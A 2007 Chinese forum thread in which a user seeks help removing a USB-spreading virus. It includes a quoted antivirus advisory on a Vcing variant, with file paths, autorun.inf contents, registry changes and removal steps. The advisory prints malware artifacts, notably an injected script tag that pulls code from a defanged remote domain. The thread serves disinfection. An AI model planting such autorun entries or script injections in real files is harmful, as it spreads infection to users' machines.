求助Ｕ盘传播进程病毒（卡巴无发删除）

lonewolf_lw

　　　近期发现很多关于进程里有两个ＬＳＡＳＳ和ＳＭＡＳＳ进程的病毒．
　　其实我的机子也中了此类病毒．
　　在网上写了很多此类病毒的手杀和专杀的方法，但是大都不全面．估计是此类病毒变种特多
　　我总结了下主要有一下病毒：熊猫烧香．ＲＯＳＥ，落血，威金等和他们的变种．
　　　　　　　　　　　　　　　　　主要表现在
　　１文件夹选项里的（隐藏受保护的系统文件）这一项消失　　网上写了３种方法　只有一种适用我
　　２病毒感染了ＥＸＥ文件即使杀了病毒和清理了注册表重起以后还是不行　　这个特点网上有专杀可是病毒相识太多
根本不知道中了哪个病毒
　　３夹带其他病毒　　比如我的机器就夹带了ＳＥＳ．ＥＸＥ病毒，把日期该到了１９８０年４月１日，后来改启动项删除里的ＳＥＳ，然后删除文件（之前必须关闭该进程）　重起ＯＫ了
　　现在我的机器就是以上３中，主要是第２种不好解决．　　专杀还没找到
　　病毒的特点是　　在各个根目录下建立ＡＵＴＯＲＵＮ和pagefile.pif文件　隐藏收保护的系统文件消失　感染了很多ＥＸＥ文件　比如ＱＱ的安装程序　　各有两个ＬＳＡＳＳ和ＳＭＡＳＳ文件　　打开ＩＥ后自动弹出垃圾网站窗口
　　请那个大哥帮帮忙啊　这个病毒很辣手啊　　我弄了快一个星期了　　有专杀也行啊
　　落雪和熊猫专杀以及木马清道夫都不行

[ 本帖最后由 lonewolf_lw 于 2007-2-3 11:07 编辑 ]

lonewolf_lw

支持自己
谢谢帮忙的大哥了

wangjay1980

【CISRT2007019】Vcing新变种 感染文件 修改网页 lsass.exe smss.exe 解决方案

档案编号：CISRT2007019
病毒名称：N/A（Kaspersky）
病毒别名：Win32.Troj.Vcing.al.49152（毒霸）
病毒大小：49,152 字节
加壳方式：N/A
样本MD5：ba181d7d9a178e2bf928f95ad2e199ed
样本SHA1：a26027ad76c16e3ed2d8edb3f59125c50b55a580
发现时间：2007.1
更新时间：2007.1.21
关联病毒：
传播方式：可通过文件感染传播，可通过移动磁盘（如U盘）传播，还可通过恶意网页及其它病毒木马下载


技术分析
==========

病毒运行后复制自身到系统目录：
%System%\Com\lsass.exe
同时释放另一个病毒程序用于感染exe文件：
%System%\Com\smss.exe

病毒还向各个磁盘分区复制副本，创建autorun.inf使病毒可通过“自动播放”被运行：
X:\pagefile.pif
X:\AUTORUN.INF

[AutoRun]
open=pagefile.pif
shellexecute=pagefile.pif
shell\Auto\command=pagefile.pif
修改注册表使“隐藏受保护的操作系统文件(推荐)”选项消失：

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"ShowSuperHidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden]
"Type"="radio"
感染exe文件，被感染exe文件的前端和后端都有病毒插入。

病毒还会修改htm/html/asp/aspx/php/jsp等网页文件，在文件尾部追加脚本代码：

<script src="hxxp://www.yayadown.com/b.js"></script>
脚本代码利用系统漏洞会下载病毒自身更新。


清除步骤
==========

1. 结束病毒进程：
%System%\Com\lsass.exe

2. 删除病毒文件：
%System%\Com\lsass.exe
%System%\Com\smss.exe

3. 恢复被隐藏的“隐藏受保护的操作系统文件(推荐)”选项：

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden]
"Type"="checkbox"
4. 通过磁盘分区盘符右键菜单中的“打开”进入磁盘分区根目录，删除根目录下的病毒文件：
X:\pagefile.pif
X:\AUTORUN.INF

5. 使用反病毒软件进行全盘扫描清除被病毒感染的exe文件

6. 恢复被修改的网页文件，可以使用反病毒软件清除，也可以使用某些网页编辑工具（比如Dreamweaver）替换被添加代码为空


发布时间：2007-01-24 14:30

lonewolf_lw

比好意思楼上的
杀毒的第一部结束进程就无法实现　　　用进程管理器结束的话　他回开其他不同ＰＩＤ的进程
然后是杀感染的ＥＸＥ文件　　这个卡巴好像无法实现
请楼上的高人具体讲讲

wangjay1980

用ICEWORD结束进程，你在安全模式下操作也行

lonewolf_lw

大哥说了不行啊
主要是感染的ＥＸＥ文件杀不了啊
其他的好说

lonewolf_lw

来的人帮忙解决啊
大家谢谢了
我真的很着急啊

supermenkk

我办公室电脑也是这个情况，不过这里好像没太多人能够解决吧，

听雨醉

试试这个：PC保镖之熊猫烧香专杀及防御工具 V1.1
http://www.skycn.com/soft/33007.html

lonewolf_lw

先谢谢了啊